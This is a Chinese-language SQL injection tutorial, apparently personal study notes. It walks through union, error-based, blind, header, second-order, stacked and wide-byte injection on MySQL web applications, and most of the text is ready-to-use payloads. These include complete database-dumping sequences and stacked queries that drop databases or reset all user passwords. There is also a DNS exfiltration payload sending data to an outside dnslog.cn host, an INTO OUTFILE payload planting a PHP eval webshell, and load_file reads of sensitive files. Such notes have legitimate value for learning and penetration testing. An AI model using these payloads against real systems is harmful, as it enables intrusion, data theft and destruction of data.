SQL注入概述
概念
SQL注入(SQLi)是一种网络安全漏洞,SQL注入漏洞可以理解为用于参与了SQL语句的构建,导致用户输入的恶意代码被执行,从而导致严重的数据泄露或者getShell
例如后台服务器接收到用户登录的参数(用户名和密码)然后进行数据库比对,来登录
csharp
select * from users where username = '$username' and passwd = '$passwd'
如果程序没有进行输入校验与过滤,那么就会导致攻击者进行恶意输入,将SQL语句注入正常的代码中
ini
$username = "admin' or 1=1 -- -";
拼接后的SQL语句,就是对SQL语句进行闭合
bash
select * from users where username = 'admin' or 1=1 -- -' and passwd = '$passwd'
Mysql注释
lua
--
#
-- -
-- +
以上SQL语句中的or 1=1为恒等,也就是结果始终为True,条件成立,因此查询会返回用户信息,则认为登陆成功,进入后台,当然黑客不止可以登录,还可以绕过身份认证,拖库,getshell
注入方式
union联合查询注入步骤
sql
1.查找注入点
2.闭合语句
3.找数据回显点
3.1.order by 判断列数
3.2.union 联合注入判断 注入点
5.通过注入点获取数据
效果
可以拖库
getshell
查找注入点
rust
前端 向 数据库 请求数据 且用户 可输入的点
即 用户 可以 参与 sql语句 构造 的 输入点
新闻详情页 的id 前端parload --> sql语句 -->数据库
数据库->sql语句->前端
http://www.xxx.com/information.php?id=283
通过id 可以 查找 不同页面内容
搜索页
通知公告
公开页面
闭合sql语句
类型
sql
左闭合 右注释
类型
select * from news where id = 88
select * from news where id = '88'
select * from news where id = "88"
select * from news where (id = 88) and title like "%四月%"
select * from news where (id = '88') and title like "%四月%"
select * from news where (id = "88") and title like "%四月%"
makefile
注入类型分类: 数字型 字符型 搜索型 宽字符
提交方式分类: GET POST Cookie HTTP请求头
按效果分类: 报错注入 联合注入 盲注(布尔注入/时间注入) 堆叠注入
猜测类型
ini
1.猜测为数字类型
sql语句:select * from new where id = $id;
http://www.xxx.com/information.php?id=payload
pqyload:1%2b1 + 的url编码是%2b 如果页面跳转和id=2相同说明是数字类型(数字可以做运算在mysql中)
2.字符类型
2.1 payload:1' and 1=1 -- - 不报错 可能存在注入漏洞 需要1=2 再次验证
2.2 payload:1' and 1=2 -- - 报错 存在漏洞 并且为 该类型的注入
3.搜索型
payload: %" and 1=1 -- -
payload: %" and 1=2 -- -
常用闭合方式
ini
or 1=1 --+ 数字
' or 1=1 --+ 单引
" or 1=1 --+ 双引
) or 1=1 --+ 括号
') or 1=1 --+ 单引括号
") or 1=1 --+ 双引括号
")) or 1=1 --+ 双引双括号
')) or 1=1 -- - 单引双括号
and or 是无所谓的
""
"")
""))
''
'')
''))
找数据回显点
order by 判断字段个数/列数
sql
order by 数字 --+
select * from news order by 6;
1054 - Unknown column '6' in 'order clause
看见以上错误 数字大了
判断可显示位置
sql
union select 1,2,3,4,5...你需要的列数 --+
select * from news union select 1,2,3,4,5 --+
1. 注入点选择没有数据的 id 没有数据的id 才会在页面显示 union 联合查询的数据 即我们输入的数据
?id=-1
2. 联合查询
?id=-1 union select 1,2,3,4,5 --+
那个位置出现 数字 代表 可以显示利用
3. 进一步利用
在 页面的 回显 点 进行利用
?id=-1 union select 1,database(),3,4,@@basedir --+
有些 列 数据 没有显示 因为 后端 没将 列的数据 发送到前端 即 不需要 用户 查看到的数据
联合注入payload构造
sql
!!!! union 使用时 查询 要 列的个数对应
注意:子查询要括号
不需要分号语句最后
1.获得数据库名
id= -1 union select 1,2,3,database()-- -
2.获得表名
在显示点 放sql 语句
union select 1,2,3,4,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名")-- -
3.获得列名
(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.`COLUMNS` WHERE TABLE_NAME = "表名")
4.获得属性
(SELECT GROUP_CONCAT(属性) FROM (SELECT 属性 FROM 表名 LIMIT 0, 10) AS subquery)
通过limit 分组获取数据
limit 0 ,10 从第0个取 取十个
思路
sql
1.找闭合方式
2.order by 找列数
select * from news where id="1" order by 10 -- -" ;
闭合 前面 语句 通过 order by 查询列数
3.union 找显示点 将设置为id=-1
select * from news where id="1" union select 1,2,3 -- - "
闭合select 语句 通过 union 找寻显示点
4.显示点 插入子查询 通过
information_schema "tables" "columns" 表
table_schema(数据库名) tables_name(表名) column_name(列名) 属性
(SELECT GROUP_CONCAT(属性) FROM (SELECT 属性 FROM 表名 LIMIT 0, 10) AS subquery)
from 后 跟 子查询 双查询 limit 和 group_concat() 同时出现
拖库
select * from news where id="1" union select 1,2,database() -- - "
select * from news where id="1" union select 1,2,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名") -- - "
报错注入 (建议更新语句使用)
使用场景
arduino
1.使用场景
没有显示点
查询注入用不出来时
!!! union 用不了
效果
只能拖库
不能getshell
错误注入的payload思路
sql
1. 借用 union payload 需要作为 union select 中的一部分 但是你有 union了 没必要这么费劲
select * from news.user where id='1' union select 1,2,3,4,(select updatexml("hacker ",concat(0x7e,user(),0x7e)," hacker")) --+
2. 没有union参与 或者union禁用
select * from news.user where id='1' and updatexml("hacker ",concat(0x7e,user(),0x7e)," hacker") --+
select * from news.user where id='1' or updatexml("hacker ",concat(0x7e,user(),0x7e)," hacker") --+
匹配正则
pattern = "'~(.+?)~'"
注意点
sql
1.尽量 用在 insert into update set更新语句中
2.!!!!!!!没有显示点
3.报错注入 最长显示 32 位 当 超过长度时 就会 显示不全
3.1通过 子查询 套子查询 limit 方式 来进行 获取
3.2第一个子查询:
(SELECT GROUP_CONCAT(属性) from 子查询
3.3第二个子查询:
3.4查表
(SELECT TABLE_NAME from information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名字" limit 0,10) as b)
3.5合体:
(SELECT GROUP_CONCAT(属性) from (SELECT TABLE_NAME from information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名字" limit 0,10) as b)
4.因为 报错注入长度限制 group_concat 函数 和 limit 函数 的使用方法的影响
5.通过两个查询 分页 分批次 来获取 数据
语句
less
1.拼接语句基础
' or extractvalue(1,concat(0x7e,())) -- -
' or updatexml(1, concat('1', database(),'1'), 2) -- -
' and extractvalue(1,concat(0x7e,())) -- -
' and updatexml(1, concat('1', database(),'1'), 2) -- -
2.完整
?id=-1' and updatexml(1, concat('1', database()), 2) -- -
报错注入payload构造
sql
1. 找闭合
2.通过 and or 拼接语句 updatexml() extractvalue() 找数据库
?id=1' and extractvalue(1, concat(0x7e,?))-- -
?id=1' or extractvalue(1,concat(0x7e,(database()))) -- -
' and updatexml(1, concat('1', database()), 2) -- -
3.找表
?id=1' and extractvalue(1, concat(0x7e,'查询语句'))-- -
? ->
(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名字")
分批获得
(SELECT GROUP_CONCAT(属性) from (SELECT TABLE_NAME FROM information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名字" limit 0,10) as b)
4.找列
?id=1' and extractvalue(1, concat(0x7e,?))-- -
长度不超限制
?id=1' and extractvalue(1, concat(0x7e,?))-- -
4.1
(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.`COLUMNS` WHERE TABLE_NAME = "表名")-- -
长度超限制
?id=1' and extractvalue(1, concat(0x7e,?))-- -
4.2
(SELECT GROUP_CONCAT(COLUMN_NAME) FROM (SELECT COLUMN_NAME FROM information_schema.`COLUMNS` WHERE TABLE_NAME = "表名" limit 0,10) as b)
5.找值
?id=1' and extractvalue(1, concat(0x7e,?))-- -
(SELECT GROUP_CONCAT(属性) FROM (SELECT 属性 FROM 表名 LIMIT 0, 10) AS subquery)-- -
6.表个数
(SELECT count(TABLE_NAME) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA = "数据库名字")
7.字段个数
(SELECT count(COLUMN_NAME) FROM information_schema.`COLUMNS` WHERE TABLE_NAME = "表名")-- -
8.数据个数
(SELECT count(属性) FROM (SELECT 属性 FROM 表名 LIMIT 0, 10) AS subquery)-- -
sql
## 完整拖库
// 获得数据库
and updatexml('hacker',concat(0x7e,database(),0x7e),'hacker') --+
// 获得数据表个数
and updatexml('hacker',concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = database()),0x7e),'hacker') --+
// 获得数据表 - 聚合写法 需要赌表名总长度不超过32
and updatexml('hacker',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),'hacker') --+
// 获得数据表 - 切割写法 limit
and updatexml('hacker',concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e),'hacker') --+
// 获得字段个数
and updatexml('hacker',concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = database() and table_name = '表名'),0x7e),'hacker') --+
// 获得字段值
and updatexml('hacker',concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name = '表名' limit 1,1),0x7e),'hacker') --+
// 获得指定数据表的数据个数
and updatexml('hacker',concat(0x7e,(select count(*) from "表名"),0x7e),'hacker')
// 获得数据
and updatexml('hacker',concat(0x7e,(select "字段" from "表名" limit 1,1),0x7e),'hacker')
布尔盲注
布尔盲注以页面回显内容的不同作为判定依据,通过构造语句返回页面的"真"和"假"来判断数据库信息的正确性。
例如用户在使用注册功能的时候,检查用户是否被别人给注册过,如果注册过,后台(接口)返回true,否则返回false。
使用场景
arduino
1.没有报错回显
2.回显 只有 true false 即页面内容不同
原理
sql
通过 true false 来判断 sql语句是否正确
基本步骤
markdown
使用布尔盲注提取数据的基本步骤:
1. 构造目标数据查询语句
2. 选择拼接方式
3. 构造判断表达式 猜
4. 提取数据长度、大小
5. 根据判断提取数据内容
布尔盲注常用到函数
python
1. length : 返回值为字符串的字节长度
2. ascii : 把字符转换成ascii码值的函数
3. substr(str, pos, len) : 在str中从pos开始的位置(起始位置为1),截取len个字符
4. count() : 返回数量
布尔盲注payload构造思路
获得
库/表/字段/属性
的
个数 长度 名称
csharp
1.猜测数据库长度 是否存在 布尔盲注
?id=1' and length(database()) > 20 --+
?id=1' and length(database()) = 20 --+
2.猜测数据库名称
?id=1' and substr(database(),1,1) = 'a' --+
?id=1' and ascii(substr(database(),1,1)) > 90 --+
3.猜数据表个数
?id=1' and (select (select count(table_name) from information_schema.tables where table_schema = database()) > 4) --+
4.猜测每个表的名称长度
?id=1' and (select length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 6) --+
?id=1' and (select length(table_name) from information_schema.tables where table_schema = database()
limit 0,1) = 6 --+
5.猜测每个表的名称
?id=1' and (select substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'e') --+
6.猜测字段的个数
?id=1' and (select (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails') = 2) --+
7.猜测字段名称长度
?id=1' and (select (select length(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1) = 2) -- +
8.猜测字段名称
?id=1' and (select substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1),1,1) = 'a') --+
9.猜测数据个数
?id=1' and (select (select count(*) from emails) = 8) --+
10.猜测数据长度
?id=1' and (select (select length(id) from emails limit 0,1) = 8 ) -- +
11.猜测数据内容
?id=1' and (select (select substr(id,1,1) from emails limit 0,1) = 1 ) -- +
时间盲注
基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。时间盲注的一般思路是延迟注入,基于时间的盲注经常用到的函数还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。
函数使用
scss
sleep(3) sql语句休眠
if(条件,条件满足执行,条件不满足执行)
时间盲注payload构造思路
scss
判断是否存在时间盲注
?id=1' and sleep(5) --+
判断数据库长度
?id=1' and if(length(database())=11,sleep(2),666) --+
判断数据库名称
?id=1' and if(substr(database(),1,1)='a',sleep(2),666) --+
ascii码判断
?id=1' and if(ascii(substr(database(),1,1))>96,sleep(2),666) --+
某种意义上来说时间盲注结合了布尔盲注,适用于页面无回显我们使用sleep来创建回显
更新注入
概述
sql
适合 更新 新增 删除
增 删 改
更新注入同样是需要对SQL语句进行封闭
在执行插入、删除、更新等SQL语句的时候使用的注入方式 (注册 删除用户 网站访问量)
更新注入类似错误注入,我们还是需要以错误的形式将数据拖库
大多数更新注入需要登录后台或者是注册页面,极个别在首页(拼多多邀请、论坛邀请、你是从什么点到我的连接)
更新注入同样是需要对SQL语句进行封闭
原理
python
sql:
insert into student(user,password,method) values("1","2","3") ;
payload:
1" or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")) or " --+
通过闭合value 使用 and/or 拼接 extractvalue 或 updatexml 合成一个value 进行报错注入
更新注入payload构造
sql
1.熟悉表结构 知道有几个位置需要填充,我们使用函数或者其他进行填充
insert into student(user,password,method) values("1","2","3") ;
1', updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")),123 --+
可以提权操作
在更新时 将用户名 改为 别人
123',database(),user()) --+
需要将值与字段对应上
2.不熟悉表结构 明确需要填充的位置 与值进行拼接 构建新的值
1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '
1' and updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")and 1'
插入SQL:
insert into user(user,passwd,name)
value('1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '','1111',now())
删除SQL:
delete from user where id = 1 and updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")
更新SQL:
update student set name="张安全" where id=2024102001 and updatexml("hacker",concat(0x7e,database(),0x7e),"hacker"); 指定修改
注意
辅助点 不是主切
头部注入
头注是基于HTTP协议注入的,是在HTTP请求头部注入恶意SQL代码,大概率需要登录后才可以发现并进行拖库或getshell
TTP协议头
在http协议包中包含两部份,一部份叫包头,一部份叫包体。包头是描述本次请求的一些基本信息,比如包体多长
包体数据格式:文本,json,urlencode格式的数据,xml,二进制,等。包头还描述了你从哪里进到这个url地址中,请求电脑的IP地址。
请求头
scss
REMOTE_ADDR :不可修改,通常可以使用在反爬虫业务中,当接口在1秒钟之内被调用10以上判定为爬虫,可以使用该字段将请求IP地址给封禁,让以后的请求全部丢弃。还可以报警抓他请他吃饭、包住。
Referer / (HTTP_REFERER):通常在业务系统中用来记录用户是哪个渠道进入站点,最后业务系统来统计进入站点数据从而让用户能够更准确的投放广告
X-Forwarded-for / (HTTP_X_FORWARDED_FOR) :这个是字段与REMOTE_ADDR是一样的功能,REMOTE_ADDR 在经过一些负载均衡之后它的值可能是内网的IP地址,而X-Forwared-for字段可以表示真实的IP地址。
User-Agent / (HTTP_USER_AGENT) :代表了当前访问业务系统使用的终端类型。
Cookie / (HTTP_COOKIE) : 辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据
头部注入步骤
1. 请求拦截 Burp
2. 分析请求头,在什么位置注入
3. 修改请求头,尝试注入
4. 查看结果并分析
头部注入payload构建
less
1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '
1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") --+
Cookie: uname=admin' and updatexml("hacker",concat(0x7e,user(),0x7e),"hacker") --+; PHPSESSID=1231223
Referer: ' or updatexml("hacker",concat(0x7e,user(),0x7e),"hacker") or '
User-Agent: ' or updatexml("hacker",concat(0x7e,user(),0x7e),"hacker") or '
拼接后的SQL
insert into ip(ip) values('1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '')
less
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '', '192.168.88.1', 'admin')
总结
某些网站 会 记录 请求头的信息 放进mysql 通过报错注入拖库 类似 更新 注入
和之前 手法 一样 注入点不同
二次注入
二次注入适用于第一次SQL操作程序员进行了过滤 addslashes,会将单引号或者双引号转义,并且将本次的转义字符串存储到数据库,第二次(其他位置)操作数据库没有进行过滤,我们就利用这个来完成第二次注入
addslashes()
函数是用于对字符串中的特殊字符进行转义。
原理
第一次特殊符号被转义
第二次特殊符号没被转义
利用第一次的特殊符号 在第二次注入时 使用
-
在用户注册时注入sql代码,在修改密码时没有对用户名或其它字段使用addslashes方法来转义单引号
-
在用户注册时注入sql代码,在重置密码时没有对用户名或其它字段使用addslashes方法来转义单引号
注入思路
sql
1. 找到添加用户位置(新增用户/注册)
2. 注册以管理员名称的用户名,密码是你自己的 例如 admin' -- -
3. 登录注册的用户 admin' -- -
4. 重置密码 进行二次注入 update users set password='123456' where user='admin' -- -'; 变成修改管理员的密码
5. 尝试登录管理员账号
总结
sql
需要先登录
1.在注册用户时 将注释符号写进数据库 (第一次sql语句会将注释符号转义不参与sql构造)
2.修改密码时 没有对用户名注释符号转义 用户名的注释会影响sql语句
update users set password='123456' where user='admin' -- -';
payload:admin' -- -
3.达到修改密码用户admin的操作
第一次sql执行将注释符号写进去,第二次sql执行时注释符号起作用,使语句闭合。
堆叠注入
在系统中使用多条SQL语句同时执行,就可以执行堆叠注入,堆叠注入常用于批量删除、数据导入,需要注意的是你必须了解整个数据库结果,大概率需要登录后才可以发现
mysqli_multi_query
是php中一次性执行多条MySQL的SQL
原理
sql
mysqli_multi_query 执行多条sql语句 闭合前面语句 后面直接拼接语句即可
使用效果
markdown
1. 插入多条语句2. 更新所有用户密码(更新管理员密码也算)3. 批量删除
堆叠注入payload构造
ini
// 更新堆叠?id=1';update users set password ='123456'; -- -
// 删除堆叠?id=1';delete from users; -- -
// 插入堆叠 ?id=1';insert into users values(1,'admin','passwd'); -- -
// 删除数据库?id=1';drop database synthesize; -- -
// 新建数据库?id=1';create database synthesize; -- -...
宽字节注入
宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。
宽字节注入利用的是MySQL的一个特性,MySQL在使用GBK编码的时候,一个字符的ASCII值大于128,MySQL会认为两个字符是一个汉字,我们利用这个原理输入的数据大于等于%81,就可以将addslashes转义的\与我们输入的一个字符合并为一个汉字,使 ' 逃脱出来,最终实现SQL注入
将/的ascii码与输入的ascii码拼成一个汉字 让它失去 转义 的 意义
dart
' => addslashes ' => 导致SQL语句失效
逃逸 ' 转义
%27 => '
%5c => \
%20 => 空格 | +
宽字节注入前提
1. 后端程序操作数据库必须是GBK编码
2. 后端程序员使用addslashes将单引号转义
宽字节常用于没有其他方法来进行注入,在尝试使用宽字节注入绕过转义,但是现在很少有人使用GBK编码
DNS外带
sql
DNS外带是更新DNS日志服务将SQL语句的一些特殊字符记录在DNS日志上,例如数据库名称、用户名称...
DNS是域名解析服务
DNS限制
ini
1. MySQL必须安装在Windows上 借用了Windows的地址协议 //xxx 会去找地址也可以是网络地址
2. MySQL的secure_file_priv属性必须设置为空字符串secure_file_priv=""
3. 需要搭建好DNS服务器,或者使用一些免费的DNS服务器
4. DNS服务器必须支持二级域名、三级域名
5. DNS处理的字符串有限,过长的字符串无法处理 例如 版本号
6. 每次想要查看DNS服务器外带的数据必须刷新
DNS外带payload构造
lua
select load_file(concat("//",(select database()),".l8nto7.dnslog.cn/dlrb.txt"));
DNS外带原理
union联合查询注入文件上传
使用条件
数据库 用户 有写权限 看secure_file_priv 参数 (mysql允许mysql用户写)
有绝对有路径 且 文档有写权限 mysql有文档写权限 (系统允许mysql写)
绕过防火墙
方法的使用
sql
union
into outfile "绝对路径"
原理
sql
1.通过 union 拼接 查询语句
2.into outfile "路径" 通过into outfile方法 将"<?php @eval(@$_POST['cmd']);?>" 内容写入到指定路径
通过into outfile方法 将1,2,3,4,"<?php @eval(@$_POST['cmd']);?>"内容写入到指定路径
3.payload:
union select 1,2,3,4,"<?php @eval(@$_POST['cmd']);?>" into outfile "绝对路径" -- -
注意:union 使用时 要列数对应
步骤
sql
1.是否有权限:
配合union 注入 和显示点 mysql.user表 判断是否有权限
(select (select count(*) from mysql.user) > 0) 判断是否有user表 有就说明有读写权限
2.绝对路径 有写入目的地的绝对路径
通过 图片 等方式 找到可写入的 绝对路径
3.写入位置有写权限 写入一句话木马 目的地有写权限
在父目录下 创建文件 即上传 需要写权限
修改 删除 重命名 不需要 父目录 写权限 需要 子目录 写 权限
4.可以绕过waf等监测
总结
sql
payload:
union select 1,2,3,4,"<?php @eval(@$_POST['cmd']);?>" into outfile "/opt/lampp/htdocs/1.8/upload/e.php" -- -
注意:
一句话木马 绝对路径 都要双引号
通过 union 执行 子查询语句 写入 文件
通过联合注入和文件上传函数 实现文件上传漏洞,将一句话木马发送到web服务器中,进行webshell
union联合查询注入文件读取漏洞
使用条件
sql
1. 数据库 用户 有 读权限
security_file_priv=""为空
show global variables like "%secure%";
select (select count(*) from mysql.user) >0 判断读写权限
方法的使用
arduino
使用 union 和 load_file 结合
id =-1 union
load_file("路径")
payload
sql
1. 任意敏感文件读取
联合注入 文件读取 结合使用
union select 1,2,3,4,load_file("tmp/flag.txt")-- -
注入方式选择思路
markdown
1. 是否能回显出 数据
Y:找回显点
order by
N:是否有报错
Y:报错注入
N:盲注
Y:是否用不同显示
Y:布尔盲注
N:时间注入
2.尝试更新注入
3.每个输入点都进行尝试
例如 username 和 password 都进行尝试 不只是在一个地方尝试 多一份尝试 多一份机会
3.
Secure_file_priv文件
bash
在 Linux 系统中,文件通常是/etc/mysql/my.cnf
5.7.16版本之后windows默认 secure_file_priv="null" (安全文件权限)
5.7 Linux版本 默认为'null'
Secure_file_priv文件参数
ini
secure_file_priv="" mysql允许任意路径导入导出
secure_file_priv="NULL" mysql静止导入导出 禁止导入导出 不能 文件 读写 不能 写入木马 和查看源码 或 敏感文件
secure_file_priv="路径" mysql允许对指定路径导入导出
总结
sql
sql 注入 的 实质 是 用户输入 参与 sql 语句的构造 进行拖库和getshell 操作
要点:
闭合 原 sql
接构造的 payload